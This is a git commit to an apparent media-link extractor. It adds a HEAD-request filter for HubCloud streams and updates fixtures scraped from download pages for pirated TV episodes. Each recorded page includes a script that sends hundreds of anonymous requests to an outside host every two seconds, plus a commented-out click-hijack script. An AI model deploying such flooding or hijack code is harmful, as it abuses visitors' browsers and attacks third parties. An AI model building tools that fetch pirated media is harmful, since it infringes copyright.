fix(extractor): filter out non-accessible HubCloud streams
This commit is contained in:
parent
d06c2934a8
commit
c819dd6bb7
14 changed files with 102 additions and 135 deletions
|
|
@ -21,7 +21,7 @@ export class HubCloud extends Extractor {
|
|||
const linksHtml = await this.fetcher.text(ctx, new URL(redirectUrlMatch[1] as string));
|
||||
const $ = cheerio.load(linksHtml);
|
||||
|
||||
return [
|
||||
const urlResults = [
|
||||
...$('a')
|
||||
.filter((_i, el) => {
|
||||
const text = $(el).text();
|
||||
|
|
@ -61,5 +61,21 @@ export class HubCloud extends Extractor {
|
|||
};
|
||||
}).toArray(),
|
||||
];
|
||||
|
||||
return this.asyncFilter(urlResults, async ({ url }) => {
|
||||
try {
|
||||
await this.fetcher.head(ctx, url);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
});
|
||||
};
|
||||
|
||||
private async asyncFilter<T>(array: T[], asyncCallback: (item: T) => Promise<boolean>): Promise<T[]> {
|
||||
const results = await Promise.all(array.map(asyncCallback));
|
||||
|
||||
return array.filter((_, index) => results[index]);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
1
src/extractor/__fixtures__/HubCloud/head-https:pixeldrain.devapifile2kFQBQiodownload
generated
Normal file
1
src/extractor/__fixtures__/HubCloud/head-https:pixeldrain.devapifile2kFQBQiodownload
generated
Normal file
|
|
@ -0,0 +1 @@
|
|||
{"accept-ranges":"bytes","access-control-allow-origin":"*","cache-control":"public, max-age=31536000","connection":"close","content-disposition":"attachment; filename=\"Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv\"","content-length":"3386258053","content-security-policy":"default-src 'self'; script-src 'none'","content-type":"video/x-matroska","date":"Tue, 16 Sep 2025 12:25:06 GMT","last-modified":"Sun, 18 May 2025 10:50:26 GMT","strict-transport-security":"max-age=31536000","x-ratelimit-limit":"3000","x-ratelimit-remaining":"2998","x-ratelimit-reset":"1758025560","x-robots-tag":"noindex, nofollow"}
|
||||
1
src/extractor/__fixtures__/HubCloud/head-https:pixeldrain.netapifileHqAiguQV
generated
Normal file
1
src/extractor/__fixtures__/HubCloud/head-https:pixeldrain.netapifileHqAiguQV
generated
Normal file
|
|
@ -0,0 +1 @@
|
|||
{"accept-ranges":"bytes","access-control-allow-origin":"*","cache-control":"public, max-age=31536000","connection":"close","content-disposition":"inline; filename=\"Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv\"","content-length":"5733546178","content-security-policy":"default-src 'self'; script-src 'none'","content-type":"video/x-matroska","date":"Tue, 16 Sep 2025 12:25:05 GMT","last-modified":"Sun, 25 May 2025 11:45:11 GMT","strict-transport-security":"max-age=31536000","x-ratelimit-limit":"3000","x-ratelimit-remaining":"2998","x-ratelimit-reset":"1758025560","x-robots-tag":"noindex, nofollow"}
|
||||
|
|
@ -0,0 +1 @@
|
|||
Fetcher error: 403: Forbidden
|
||||
|
|
@ -0,0 +1 @@
|
|||
Fetcher error: 403: Forbidden
|
||||
|
|
@ -0,0 +1 @@
|
|||
{"accept-ranges":"bytes","cache-control":"public, max-age=604800","cf-ray":"980058374e5337d8-FRA","connection":"close","content-disposition":"attachment; filename*=UTF-8''Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv","content-language":"S-B0t","content-length":"3386258051","content-type":"application/octet-stream","date":"Tue, 16 Sep 2025 12:25:06 GMT","etag":"\"26f5e98cf3cc3ef929a660fbf44fe115-404\"","last-modified":"Sun, 18 May 2025 11:02:51 GMT","server":"cloudflare","vary":"Accept-Encoding"}
|
||||
|
|
@ -190,7 +190,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<a href="https://pixel.hubcdn.fans/?id=9baaafddd8d3d6cc033f11ada70e3db7eebf2cb1f56f43bea4fa40b8e015ae48c75d18619a2c7502de1038c46a6cead5d91b0f992fe9c3b2693c008eb11caeea49cfa59af75382a573f97a6641ac2d31d372cb79e237fcae430a93ae42c521f9::00d8ddde504371910abbdf02d6af588c" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<a href="https://pixel.hubcdn.fans/?id=21492bc915e609dd058e14bb1731d738ecbabde075e6a57924162ee17ab2dba6af0b2d315bfff2e113a3726863be50a0c9f92cc3470ad452f0c3223d49e7798f489e32a7a439e049a23b6750a49eb3f8acb834067ea5a1c7e0633b4425202ed5::b78919f2dc0c38d42c4c5147b3d4702c" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||
|
||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||
|
|
@ -202,7 +202,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<a href="https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon Shinchan Action Kamen vs Demon 1993 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] PitiPati-Ionicboy 4kHDHub.com.mkv?token=1757269247" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<a href="https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon Shinchan Action Kamen vs Demon 1993 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] PitiPati-Ionicboy 4kHDHub.com.mkv?token=1758025506" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<script>
|
||||
const fsl = document.getElementById('fsl');
|
||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||
|
|
@ -211,7 +211,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<a href="https://ddl2.cloudserver-1692960669.workers.dev/1397312583/a95faaf5b4321e6c9b429fa20f5992458f5bd28ec044f2875608a15ad806d32812e9fc0770b38c8eefc2dae4c81298a57aef1925c80f3d2ae991887209f288471c5acf36a93627c1aa34421723dcf152905ede51a7bc8d984c0e8dd4e06dd6b541843bdfe02a747707d7ed546b492a18e2f99b26f1b3a54c9fea9e09f81b4986eca77a7cbb103347aa0f9e76c9370d4f95a131895818701ce657b8d69ff0dabd37b87601d1538b587fd1da5a0fbfc43ea3a9dca8bb5424a979c7f65944ae5579::66b74ff3033c283899c4e7c9a5339ea6/Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
||||
<a href="https://ddl2.cloudserver-1692958104.workers.dev/1397313204/a4d4a721744a9dfdbd8be7b27715738bbb80ca367d65277316db36bb584c0fbfe3c21108b9a243111ed7eec085a9d572ce5f7d7271507154b4d3d931114c3f8e4c2dce9cbb597557590a24a7083f463ed7369f491e73d260277b2545e1f6b9089f2467f185ac470832ea2089e27a5855e4204f396724eb836021b0a21b51bc5759b14c22bf8c0ca66f7680e0a44ff80bb09c20c28e93f2fdba3bd25769584e94ea466fca0aadafc2bdb59a70b319e25270e8502d4fb228d8c46c5a7d4f2af9c0::0f8e872aeeee57459e410e73b6e84d79/Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
||||
<p style="
|
||||
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
|
||||
|
||||
|
|
@ -237,7 +237,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
if(isAndroid()){
|
||||
android_launch.classList.remove("d-none");
|
||||
android_launch.addEventListener('click', ()=>{
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon Shinchan Action Kamen vs Demon 1993 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] PitiPati-Ionicboy 4kHDHub.com.mkv?token=1757269247',scheme: 'https',type: 'video/x-matrosk',
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Crayon Shinchan Action Kamen vs Demon 1993 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] PitiPati-Ionicboy 4kHDHub.com.mkv?token=1758025506',scheme: 'https',type: 'video/x-matrosk',
|
||||
});anchor.click();
|
||||
});
|
||||
|
||||
|
|
@ -256,7 +256,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
</div>
|
||||
|
||||
<div class="alert alert-info" role="alert">
|
||||
<p><b>If you're getting any error please report at <a href="https://t.me/sumitbotreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
|
||||
<p><b>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
|
||||
</div>
|
||||
<hr>
|
||||
|
||||
|
|
@ -315,41 +315,32 @@ Msc
|
|||
|
||||
</body>
|
||||
</html><script>
|
||||
window.sessionStorage.setItem('xl',window.location.href);
|
||||
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/how-to-earn-money-using-your-phone/");
|
||||
window.sessionStorage.setItem('xl',window.location.href)
|
||||
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/games/");
|
||||
</script>
|
||||
<script>
|
||||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||
</script>
|
||||
|
||||
<script data-cfasync="false" type="text/javascript" id="clever-core">
|
||||
/* <![CDATA[ */
|
||||
(function (document, window) {
|
||||
var a, c = document.createElement("script"), f = window.frameElement;
|
||||
|
||||
c.id = "CleverCoreLoader94679";
|
||||
c.src = "https://scripts.cleverwebserver.com/46ff09dd57708572de379bac9bba3c6c.js";
|
||||
|
||||
c.async = !0;
|
||||
c.type = "text/javascript";
|
||||
c.setAttribute("data-target", window.name || (f && f.getAttribute("id")));
|
||||
c.setAttribute("data-callback", "put-your-callback-function-here");
|
||||
c.setAttribute("data-callback-url-click", "put-your-click-macro-here");
|
||||
c.setAttribute("data-callback-url-view", "put-your-view-macro-here");
|
||||
|
||||
try {
|
||||
a = parent.document.getElementsByTagName("script")[0] || document.getElementsByTagName("script")[0];
|
||||
} catch (e) {
|
||||
a = !1;
|
||||
}
|
||||
|
||||
a || (a = document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0]);
|
||||
a.parentNode.insertBefore(c, a);
|
||||
})(document, window);
|
||||
/* ]]> */
|
||||
<script>
|
||||
function x(){
|
||||
for (let i = 0; i < 369; i++) {
|
||||
|
||||
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
|
||||
"method": "GET",
|
||||
"mode": "no-cors",
|
||||
"referrerPolicy": 'no-referrer',
|
||||
});
|
||||
}
|
||||
}
|
||||
x();
|
||||
const intervalId = setInterval(() => {
|
||||
x();
|
||||
}, 2000)
|
||||
</script>
|
||||
|
||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||
|
||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||
<!--</script>-->
|
||||
|
||||
|
|
@ -193,7 +193,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<a href="https://pixel.hubcdn.fans/?id=55dfe3bec1f77d3c553ba6b6a0aeff92ee72376c03084441ed504e1cdc4cf2d4460b59b582dbe7749290d4604dc62a16eb14a50b8ef363af21ec062cb6a4abba0628d9c86492b7d0ee81c807bafa4e129b785cf373f5110394c8c554e197bc93::6725b1b0af5aa152c0092a65ab78ec2b" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<a href="https://pixel.hubcdn.fans/?id=529bf8a6089bbb95b78cf3cb1a6dc59fde5263bbdd021523a5c82feda0ba8ef5389cbaadec1f544a0af5c8005cc1f08d3c9d657117ec665281ccfab07cf57f480c0b88000cc87df9ace68870041479b5bbe24ca974e726fa3609bd53e21ad504::31791b788bbe5b7e5a8467880d69cece" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||
|
||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||
|
|
@ -205,7 +205,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<a href="https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1757321957" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<a href="https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1758025505" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<script>
|
||||
const fsl = document.getElementById('fsl');
|
||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||
|
|
@ -214,7 +214,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<a href="https://ddl2.cloudserver-1692960118.workers.dev/1397312652/a249c7271b2fd48dc4b1e4e72f34f8a01f161ca5b99288247094652cc5752f3df69900f99858d7a625101fa5684e26db7bb06fbf59e4b4c131f1a7a5f3eaca344e52d84cfc415b50fc5fad60fa8117f02cd111bdd14d137a628b7cb752a7870584f2121868b428a1a11cdcbffe7d71e458baf62c065402d991ba15a1eaba0c7eb63850b7c1331f9120848c8da37b746d41e6fba8c68988c3225a63cbfaf03200570ab7864b8453a2715a913af2dff0617c5518e97a43ab4a0758da5756066650::554adeac5b1127312efc574b6258a0ac/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
||||
<a href="https://ddl2.cloudserver-1692954790.workers.dev/1397313204/f21e7028ea6a932d9591378bbac598891ca0fab13e210fef8c6be7d9b7b22c9f48fd9d22719a71a55e7280ac8dbe7f01fd57386fac993fe3bdf66772dc1e08e69792acbd18c323b87a7fbc0f4eec7862f1d793c3c20c36082861091c8236b110cf3c186c55945950681e369e305675b442a8df092f83e9483dd1cbfff5271db3b77fbec42689825baf890da2186efa9806c9c69f850a0ef850c159152151ecb6617bf57be248b1d023b493ea2b9d80161d45732806cae4a7a6e9da9bdd2a3279::ea94114583b705a605ed9e55dc452914/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
||||
<p style="
|
||||
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
|
||||
|
||||
|
|
@ -240,7 +240,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
if(isAndroid()){
|
||||
android_launch.classList.remove("d-none");
|
||||
android_launch.addEventListener('click', ()=>{
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1757321957',scheme: 'https',type: 'video/x-matrosk',
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-52f57cc1b81f4ecdac02802c1566c33d.r2.dev/Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv?token=1758025505',scheme: 'https',type: 'video/x-matrosk',
|
||||
});anchor.click();
|
||||
});
|
||||
|
||||
|
|
@ -259,7 +259,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
</div>
|
||||
|
||||
<div class="alert alert-info" role="alert">
|
||||
<p><b>If you're getting any error please report at <a href="https://t.me/sumitbotreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
|
||||
<p><b>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
|
||||
</div>
|
||||
<hr>
|
||||
|
||||
|
|
@ -318,41 +318,32 @@ Msc
|
|||
|
||||
</body>
|
||||
</html><script>
|
||||
window.sessionStorage.setItem('xl',window.location.href);
|
||||
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/pnb-personal-loan-up-to-%e2%82%b98-lakh-in-minutes-apply-online/");
|
||||
window.sessionStorage.setItem('xl',window.location.href)
|
||||
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/games/");
|
||||
</script>
|
||||
<script>
|
||||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||
</script>
|
||||
|
||||
<script data-cfasync="false" type="text/javascript" id="clever-core">
|
||||
/* <![CDATA[ */
|
||||
(function (document, window) {
|
||||
var a, c = document.createElement("script"), f = window.frameElement;
|
||||
|
||||
c.id = "CleverCoreLoader94679";
|
||||
c.src = "https://scripts.cleverwebserver.com/46ff09dd57708572de379bac9bba3c6c.js";
|
||||
|
||||
c.async = !0;
|
||||
c.type = "text/javascript";
|
||||
c.setAttribute("data-target", window.name || (f && f.getAttribute("id")));
|
||||
c.setAttribute("data-callback", "put-your-callback-function-here");
|
||||
c.setAttribute("data-callback-url-click", "put-your-click-macro-here");
|
||||
c.setAttribute("data-callback-url-view", "put-your-view-macro-here");
|
||||
|
||||
try {
|
||||
a = parent.document.getElementsByTagName("script")[0] || document.getElementsByTagName("script")[0];
|
||||
} catch (e) {
|
||||
a = !1;
|
||||
}
|
||||
|
||||
a || (a = document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0]);
|
||||
a.parentNode.insertBefore(c, a);
|
||||
})(document, window);
|
||||
/* ]]> */
|
||||
<script>
|
||||
function x(){
|
||||
for (let i = 0; i < 369; i++) {
|
||||
|
||||
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
|
||||
"method": "GET",
|
||||
"mode": "no-cors",
|
||||
"referrerPolicy": 'no-referrer',
|
||||
});
|
||||
}
|
||||
}
|
||||
x();
|
||||
const intervalId = setInterval(() => {
|
||||
x();
|
||||
}, 2000)
|
||||
</script>
|
||||
|
||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||
|
||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||
<!--</script>-->
|
||||
|
||||
|
|
@ -193,7 +193,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<a href="https://pixel.hubcdn.fans/?id=47e43a2d9b4e12158dbb0fc0447035f18e949effb95a8eeaac361301ce0c2ab40c6f08ebc2dc085fd0937843e86261ce5b0c55972dfc1ba927944096f86b130b8dddbe1b26d350194d3119be0f1134c6c9c31c4a17519ce6ab185ad923dc7374::43d55bc2c511ba728fe861de4119b357" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<a href="https://pixel.hubcdn.fans/?id=4cbb9dc94a8c4698314305f887e913c3e7fef7f000d3da8d2bd1f4d6a1dca4d45fb98f415eea4192a2aeb35f6accfac5767d8eddd50fad89c724bb8075ae2dbe2e2987753b74253cf00625ede66ea0ec8ea4150eebb24be8a9e70bf70563d808::54473e647fcc8c02ec47d4d732f45d14" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||
|
||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||
|
|
@ -213,7 +213,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<a href="https://ddl2.cloudserver-1692954180.workers.dev/1397312652/1ceec017c2ba74be462fda5d90e39e21375ef9aa61ebb4640ca7aeebe914d29b96e90f1547c90bb9ef2d2cfba2395689a573c464c0b5ca99b78be6e47ebec1d8b1786e0acc533458d182eb3cbbdb4aada05d36d22f04c6c34bc556ff38de1161e5b58497303081fef8af64be616cf3508d07677635f7d4e47fbe346a675de05e4f89b1d21f8336a7b99a20f3a6eebfd251af56b478e2635dfd3601d089000113bf19305c9d0985f9f3ecb309c0dd5437130db74e89fa2772aaffa071d0276b9e::067d4b44b41e42b0146df6ea1a97e4e5/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
||||
<a href="https://ddl2.cloudserver-1692964037.workers.dev/1397313204/31f8b5a9e6a1a2e056ef0905797230a1f28057dc1e4d12e6843c03ac6bfdf7d87889a636620b547798bce78d1647ebb482a308c38e4149f422bc3afb2b6f7d171a63e1ff2029b7f90c72181d26989a4de3c23f7b316ee3138fc1dd9c2612d8c8dae2b4c5297f87320ffcb63d71429bde3258ec121653bd4c6f49f372465f13acf7bcc770f52f649c1c65c7cc54d18ed36620a55ccb9bbef084af996524ea69df8191345e6dba2f8398d7b5c3ef2500a32bd2e147507a1741efe63c902d8e1821::61c7925f0014900c78f913a268a069bf/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
||||
<p style="
|
||||
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
|
||||
|
||||
|
|
@ -224,7 +224,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
<br>
|
||||
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeXJQYXlNdmx0OHJmcEt2R21zYkN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Downoad From Telegram 🔥</a>
|
||||
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTltdXlNZTd3OHJmcEtqSG1zYkN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Downoad From Telegram 🔥</a>
|
||||
|
||||
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
|
||||
|
||||
|
|
@ -260,7 +260,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
</div>
|
||||
|
||||
<div class="alert alert-info" role="alert">
|
||||
<p><b>If you're getting any error please report at <a href="https://t.me/sumitbotreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
|
||||
<p><b>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
|
||||
</div>
|
||||
<hr>
|
||||
|
||||
|
|
@ -319,41 +319,32 @@ Msc
|
|||
|
||||
</body>
|
||||
</html><script>
|
||||
window.sessionStorage.setItem('xl',window.location.href);
|
||||
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/top-16-platforms-to-earn-money-online-in-india/");
|
||||
window.sessionStorage.setItem('xl',window.location.href)
|
||||
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/games/");
|
||||
</script>
|
||||
<script>
|
||||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||
</script>
|
||||
|
||||
<script data-cfasync="false" type="text/javascript" id="clever-core">
|
||||
/* <![CDATA[ */
|
||||
(function (document, window) {
|
||||
var a, c = document.createElement("script"), f = window.frameElement;
|
||||
|
||||
c.id = "CleverCoreLoader94679";
|
||||
c.src = "https://scripts.cleverwebserver.com/46ff09dd57708572de379bac9bba3c6c.js";
|
||||
|
||||
c.async = !0;
|
||||
c.type = "text/javascript";
|
||||
c.setAttribute("data-target", window.name || (f && f.getAttribute("id")));
|
||||
c.setAttribute("data-callback", "put-your-callback-function-here");
|
||||
c.setAttribute("data-callback-url-click", "put-your-click-macro-here");
|
||||
c.setAttribute("data-callback-url-view", "put-your-view-macro-here");
|
||||
|
||||
try {
|
||||
a = parent.document.getElementsByTagName("script")[0] || document.getElementsByTagName("script")[0];
|
||||
} catch (e) {
|
||||
a = !1;
|
||||
}
|
||||
|
||||
a || (a = document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0]);
|
||||
a.parentNode.insertBefore(c, a);
|
||||
})(document, window);
|
||||
/* ]]> */
|
||||
<script>
|
||||
function x(){
|
||||
for (let i = 0; i < 369; i++) {
|
||||
|
||||
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
|
||||
"method": "GET",
|
||||
"mode": "no-cors",
|
||||
"referrerPolicy": 'no-referrer',
|
||||
});
|
||||
}
|
||||
}
|
||||
x();
|
||||
const intervalId = setInterval(() => {
|
||||
x();
|
||||
}, 2000)
|
||||
